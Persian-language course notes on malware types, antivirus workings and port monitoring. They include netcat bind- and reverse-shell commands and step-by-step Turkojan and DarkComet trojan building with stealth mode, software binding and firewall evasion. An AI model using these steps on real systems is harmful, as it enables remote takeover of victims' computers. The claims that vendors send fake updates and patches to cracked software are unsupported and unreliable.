نام کلی بد افزارهایی که سیستم ها را تهدید می کنند، Malware است. اهداف Malware ها، تخریب، سرقت اطلاعات، باج خواهی و مواردی از این دست می باشد. Malware ها مجموعه ای از کدهای مخرب هستند که به هدف جاسوسی یا ایجاد اختلال بر روی سیستم های قربانی، نوشته می شوند.
Backdoor:
این نوع از Malware ها، بر روی سیستم قربانی، پورت باز می کنند تا Attacker بتواند از آن طریق به سیستم قربانی متصل شود، فرآیندهای کلاسیک احراز هویت را دور بزند و به سیستم دسترسی پیدا کند.
Trojan:
نرم افزارهایی هستند که در ظاهر خطرناک به نظر نمی آیند اما وقتی بر روی سیستم قربانی پیاده می شوند، با استفاده از مکانیسم Backdoor، به سیستم قربانی دسترسی می دهند.
Hook Door: پورتی است که برنامه نویس (Developer نرم افزار) بر روی نرم افزار باز می گذارد تا بتواند بعدا” به آن سیستم متصل شود.
نکته: گاهی وجود Backdoor، به علت Bug سیستمی است (مانند فایروال های Juniper، که در گذشته دارای این Backdoor بودند)
نکته: معمولا” پورت ها بر روی یک سیستم، توسط یک سرویس باز می شود.
نرم افزاری بنام Netcat وجود دارد که به ما اجازه باز کردن پورت بر روی سیستم را می دهد. Command تحت لینوکس این نرم افزار، nc است.
به عبارت دیگر برای اجرای آن در کالی باید در خط فرمان، عبارت nc را تایپ کنیم.
می توان nc را در ویندوز نیز Run کرد. به این منظور ابتدا محل قرار گیری آن را در کالی، تعیین می کنیم:
locate nc.exe
این برنامه در Windows-binaries کالی قرار گرفته است. برای کپی کردن آن در ویندوز از نرم افزار WinSCP استفاده می کنیم.
فرض کنیم می خواهیم از یک سیستم لینوکسی، Shell بگیریم. در این صورت nc را با استفاده از تکنیک های Hack (نظیر ارسال Trojan و یا کد های VBS، و Bind کردن آن به نرم افزارهای معمولی و یا سایر تکنیک های مشابه که پیشتر عنوان شد) به صورت زیر در لینوکس به عنوان سیستم مقصد (سیستم قربانی) به فرم زیر اجرا می کنیم:
به این ترتیب در سیستم قربانی، پورت ۷۷۷۷ باز می شود.
در سیستم مبدا (سیستم ویندوزی)، در CMD، فرمان زیر را اجرا می کنیم:
به ظاهر اتفاقی نمی افتد اما از اینجا به بعد می توان فرمان های لینوکسی را در CMD، اجرا کرد و CMD، تبدیل به Terminal سیستم قربانی می شود.
اگر سیستم ویندوز به عنوان قربانی و سیستم لینوکس به عنوان Attacker باشد، آنگاه در سیستم ویندوز به صورت زیر پورت باز می کنیم:
nc -l -p ۷۷۷۷ -e cmd
و در سیستم لینوکس، فرمان زیر را اجرا می کنیم:
nc ۱۹۲٫۱۶۸٫۱٫۱۸۳ ۷۷۷۷
اکنون CMD سیستم قربانی در اختیار سیستم لینوکس است.
نکته: بسیاری از Trojan هایی که نوشته می شود، در درون خود از nc استفاده می کنند.
نکته: در حالتی که در بالا ذکر شد، برای گرفتن Shell از سیستم قربانی، باید IP Address سیستم قربانی را داشته باشیم. در حالتی که nc توسط تروجان بر روی ده ها، صد ها و یا میلیون ها سیستم Run شود، این امکان وجود ندارد. لذا برای حل این مشکل از Reverse Shell استفاده می کنیم:
الف- یک VPS تهیه می کنیم.
ب- بر روی VPS، تنها –l و –p را اجرا می کنیم:
#nc -l -p ۱۱۱۱
ج- بر روی سیستم قربانی، -e را اجرا می کنیم. یعنی این سیستم قربانی است که به IP Address سیستم Attacker (VPS) متصل می گردد:
انواع Virus:
Boot Sector: این نوع ویروس ها، قسمتی از H.D.D را که مسئول فرآیند Boot سیستم عامل است، تحت تاثیر قرار می دهد و فرآیند Boot را مختل می نمایند.
File: این نوع ویروس ها، فایل های مختلف سیستم را آلوده می نمایند.
Macro: این نوع ویروس ها، مختص فایل های Office هستند.
Polymorphic Virus: این نوع ویروس ها، ویروس های پیچیده چند حالتی هستند که از خود کپی هایی با تفاوت اندک ایجاد می کنند تا بتوانند آنتی ویروس ها را دور بزنند. هر یک از این کپی ها به عنوان یک ویروس متفاوت توسط آنتی ویروس شناسایی می گردد.
Stealth Virus: این نوع ویروس ها، خود را از آنتی ویروس ها استتار می نمایند و از مکانیسم پیچیده تری نسبت به سایر ویروس ها برخوردار هستند
چرا نرم افزار آنتی ویروس باید خریداری شود؟
الف- وقتی نرم افزار آنتی ویروس Crack می شود، این Crack خود ممکن است ایجاد Backdoor نماید.
ب- یافته های آزمایشگاهی نشان می دهد که آنتی ویروس های Crack شده، Update دریافت می کنند و ظاهرا” Update می شوند اما این Update، Fake است و شرکت های تولید کننده آنتی ویروس برای آنتی ویروس های crack شده، Fake Update ارسال می کنند.
این مسئله در مورد ویندوز نیز صادق است و Patch های امنیتی ارسال شده توسط مایکروسافت برای ویندوزهای دارای لایسنس با ویندوزهای کرک شده، متفاوت است.
نحوه عملکرد Antivirus:
آنتی ویروس ها به دو شیوه عمل می کنند:
الف- مدل اول بر اساس Signature است. هر ویروسی یک signature دارد. آنتی ویروس، دیتا بیسی از Signature های ویروس ها را دارا می باشد. Update شدن آنتی ویروس به معنای Update شدن دیتابیس آن بر اساس Signature ویروس های جدید یا Signature تغییر یافته ویروس های موجود می باشد.
ب- مدل دوم بر اساس رفتار شناسی (Behavioral) می باشد. البته از این مدل زیاد استفاده نمی شود چرا که ممکن است سبب اختلال در فعالیت های عادی سیستم بشود.
بنابر آنچه که گفته شد، آنتی ویروس حتما” باید خریداری شود و حتما” Update باشد.
Worm:
این بد افزار بر خلاف ویروس، برای آلوده نمودن سیستم، نیازی به کلیک کاربر و اجرا شدن توسط وی، ندارد. نحوه عملکرد آن به این صورت است که ابتدا یک ویروس به فرم Spam برای کاربر ارسال می گردد. این ویروس درون خود حاوی Worm است. با آلوده شدن سیستم کاربر به علت اجرای این ویروس، Worm از طریق پروتکل هایی که در شبکه Run هستند، مانند SMB، فرمان هایی را اجرا می کند و از این طریق Packet هایی ایجاد می شوند که به Worm امکان انتقال در شبکه را می دهند.
Ransomware (باج افزارها):
بد افزارهایی هستند که فایل های مختلف در سیستم قربانی را Encrypt می نمایند و برای Decrypt نمودن آن از قربانی، طلب باج می نمایند.
Rootkit:
نرم افزارهایی هستند که در لایه های پایین تر قرار می گیرند و با کرنل تعامل دارند. Rootkit ها کدهای پیچیده ای دارند و کارهای بسیار مخربی انجام می دهند.
Botnet ها شبکه هایی هستند که با در اختیار گرفتن مجموعه ای از کامپیوترها که bot نامیده می شوند، تشکیل می شوند. این شبکه توسط یک یا چند مهاجم که Botmaster نامیده می شوند کنترل می شود. کامپیوترهایی که تبدیل به Bot می شوند می توانند به علت نصب بدافزار بوجود بیایند و یا با نصب نرم افزارهای ظاهرا” مفیدی نظیر Torrent، ایجاد شوند. شبکه های Botnet توسط Botmaster ها، به منظور حملات DDoS، اجاره داده می شوند و از هر کامپیوتر عضو شبکه (Bot) ترافیک کوچکی (مثلا” ۱۰۰ KBPS) به این منظور اختصاص می یابد. به علت کوچک بودن این ترافیک، کاربر کامپیوتر (Bot) متوجه این استفاده نمی شود اما به علت تعداد زیاد Bot ها، عملا” ترافیک بسیار حجیمی (مثلا” ۴۰۰ Mbps یا بیشتر) برای حمله DDoS بکار می رود.
نکته: سایت Leader.ir از جمله امن ترین وب سایت های ایران است و توسط شرکت زیر ساخت، Host می گردد.
مایکروسافت نرم افزاری بنام TCPView را ارائه می کند که Free است و به منظور مانتورینگ پورت های یک سیستم مورد استفاده قرار می گیرد. این نرم افزار کلیه پورت های سیستمی را که بر روی آن نصب شده، نمایش می دهد و مشخص می کند که کدام Process، کدام پورت را باز کرده است.
نرم افزار دیگری بنام What’s Running 3.0 وجود دارد که آن هم پورت های سیستمی را که بر روی آن نصب شده است، مانیتور می نماید. در این نرم افزار می توان پیش و پس از نصب یک نرم افزار، Snapshot گرفت و وضعیت پورت ها را در دو حالت مقایسه نمود.
ابزارهایی برای ایجاد Trojan وجود دارد که از جمله آنها می توان از Turkojan نام برد. برای ایجاد Trojan توسط این ابزار، در Editor TAB، قسمت Address، IP Address خودمان را وارد می کنیم. در قسمت Connection Port، پورتی را که می خواهیم Connection از طریق آن برقرار شود، وارد می کنیم (معمولا” پورتی مانند پورت ۸۰ را وارد می کنیم که توسط Firewall شبکه قربانی، بسته نشده باشد)
در قسمت Running Mode، گزینه Stealth Mode را انتخاب می کنیم تا این فایل اجرایی به صورت مخفی اجرا شود و در قسمت Icon می توانیم Icon را با وارد نمودن یک فایل Icon، تغییر دهیم.
هنگام Save، Save as type را Uygulamalar انتخاب می کنیم.
بعد ارسال فایل ایجاد شده بر روی سیستم قربانی با استفاده از تکنیک های مختلف نظیر Bind کردن آن با یک نرم افزار معمولی، در نرم افزار بر روی Start کلیک می کنیم تا بر روی پورت انتخاب شده، Listen را آغاز کند. با اجرای Trojan بر روی سیستم قربانی و Listen آن بر روی نرم افزار، می توان فعالیت های لیست شده در منوی سمت چپ نرم افزار را، از قبیل دسترسی به فایل های قربانی، Keylogging، گرفتن Shell و…، انجام داد.
از نرم افزارهای Free برای ساخت Trojan، می توان از RAT Darkcomet نام برد. با استفاده از این نرم افزار می توان Trojan در حال ایجاد را به یک نرم افزار معمولی Bind کرد:
Server Module—–> Full Editor——> File Binder
نکته: پس از ایجاد Trojan و استفاده از تکنیک های دور زدن آنتی ویروس و ارسال آن به کامپیوتر قربانی، باید با انتخاب listen To New Port، پورتی را که در Trojan، Set کرده بودیم انتخاب کنیم (این پورت را پورتی قرار می دهیم که بر روی Firewall معمولا” باز است، مثلا” پورت ۸۰)
یکی از نرم افزارهایی که برای Bind کردن Trojan به یک نرم افزار دیگر بکار می رود، YAB (Yet Another Binder) است.
همچنین از نرم افزار AndroRAT برای ایجاد Trojan در پلت فرم های اندروید استفاده می گردد.
نکته: از سایت Virustotal.com برای تست شناسایی یک فایل آلوده توسط آنتی ویروس های مختلف استفاده می گردد. این سایت Engine بیش از ۶۵ آنتی ویروس دنیا را دارا است. برای تست، فایل مورد نظر را Upload می کنیم و این فایل با استفاده از آنتی ویروس های مختلف، مورد تست شناسایی قرار می گیرد ( تا سایز فایل ۱۲۸ MB را ساپرت می کند)